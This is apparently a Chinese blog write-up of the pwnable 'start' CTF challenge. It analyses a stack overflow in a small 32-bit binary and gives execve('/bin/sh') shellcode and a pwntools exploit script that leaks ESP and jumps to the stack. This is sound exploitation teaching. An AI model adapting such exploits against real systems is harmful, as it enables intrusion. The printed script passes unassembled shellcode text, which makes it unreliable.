freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

pwnable第一题start的wp
JaQLine 2021-11-11 20:34:15 133416

第一次做国外的题,直接被第一题难住了。和国内的题感觉是两种思路,这才叫真正的二进制

代码分析

我们先来看一下代码,代码非常简单
image.png
image.png
这个题大家也看到了,只有两个函数,而且都使用了系统调用,然后我们来看一下具体的代码执行流程。

这个代码只有esp,先push了ESP,然后push了exit函数的地址
image.png
再插入一些字符串,然后使用系统调用,我们来看一下栈空间
image.png
输出一段字符,然后再次进行一个系统调用
image.png
这次是让输入一串字符,输入字符的个数为0x3C,但是大家可以发现使用的是之前输出字符的地址,之前输出的时候一共输出了0x14个字符,然后接着往下看
image.png
恢复栈顶以后ret,返回到exit函数中。

由此我们可以判断存在栈溢出漏洞

栈模型

我们来看一下栈此时的布局
image.png
此时esp寄存器指向顶部,输出字符串的空间一共只有0x14个字节。但是输入的字符有0x3C个字节。最后ret会将exit函数的地址pop到EIP中。

漏洞利用思路

首先我们需要填满输出的字符串的空间,然后我们就可以随意修改ret地址。我们的shellcode应该写到栈中,所以我们还需要泄露一波保存的esp的地址,通过这个地址来计算出我们shellcode的偏移,然后拿到shell。

我们首先注意一个细节
image.png
这里是通过esp将字符传入ecx寄存器中,然后进行系统调用的。那么当我们运行到ret指令的时候image.png
注意此时的栈空间,ret指令结束以后esp指针就会指向0xffffd14c地址,这就是保存的最开始的ESP的值。这也是为什么我们可以以这种思路进行漏洞利用。

泄露出ESP地址以后我们就可以覆盖ret指令。ret就是指向我们的shellcode,由于没有NX保护,因此栈空间有可执行权限。我们的shellcode只不过就是一个汇编以后的系统调用而已

实操

我先尝试打的本地,首先看一下泄露初始ESP的代码

p.recvuntil(":")
payload1 = "A"*0x14 + p32(0x8048087)
p.sendline(payload1)
p.recv()

然后我们看一下效果
image.png
pwntools加gdb联合调试会发现前四个字节输出的前四个字节就是地址(一定要记住,小端序!小端序!)

此时栈的情况已经了解差不多了,然后我们来写一下shellcode。
shellcode其实在调试的过程中已经有示例了
image.png
我们也是类似这样

xor eax,eax
xor ebx,ebx
xor ecx,ecx
xor edx,edx 
push eax
push 0x68732f 
push 0x6e69622f
mov ebx,esp
mov al,0xb
int 0x80

好了,这就是我们的shellcode,其实就是一个系统调用,系统调用号为0xb,后面的寄存器都是参数。

接下来就是返回到shellcode上面。然后直接附上exp

from pwn import *
context.log_level = "debug"
p = process('/home/wjl/Desktop/start' )

shellcode='''
xor eax,eax
xor ebx,ebx
xor ecx,ecx
xor edx,edx 
push eax
push 0x68732f 
push 0x6e69622f
mov ebx,esp
mov al,0xb
int 0x80
'''

payload1 = 'A'*0x14 + p32(0x8048087)
p.sendafter("Let's start the CTF:",payload1)
esp = u32(p.recv(4))
print esp
payload2 = 'A'*0x14 + p32(esp+0x14)+shellcode
p.send(payload2)
p.interactive()

最开始的时候就是对于shellcode没有思路,现在我们稍微将代码改动一下,然后用gdb进行调试。
image.png
第一次返回到write的系统调用
image.png
然后通过系统调用泄露出esp地址
image.png
然后通过read系统调用将shellcode写到栈中
image.png
然后返回到我们的shellcode处并且执行

一天一道pwn,一道pwn做一天,最开始确实不适应,只能慢慢来了

# shellcode # 栈溢出 # pwn # ret2shellcode
本文为 JaQLine 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
CTF PWN
JaQLine LV.6
这家伙太懒了,还未填写个人描述!
  • 40 文章数
  • 10 关注者
由浅入深了解格式化字符串漏洞
2021-12-26
对栈迁移的探究
2021-12-16
文件IO缓冲详解
2021-12-06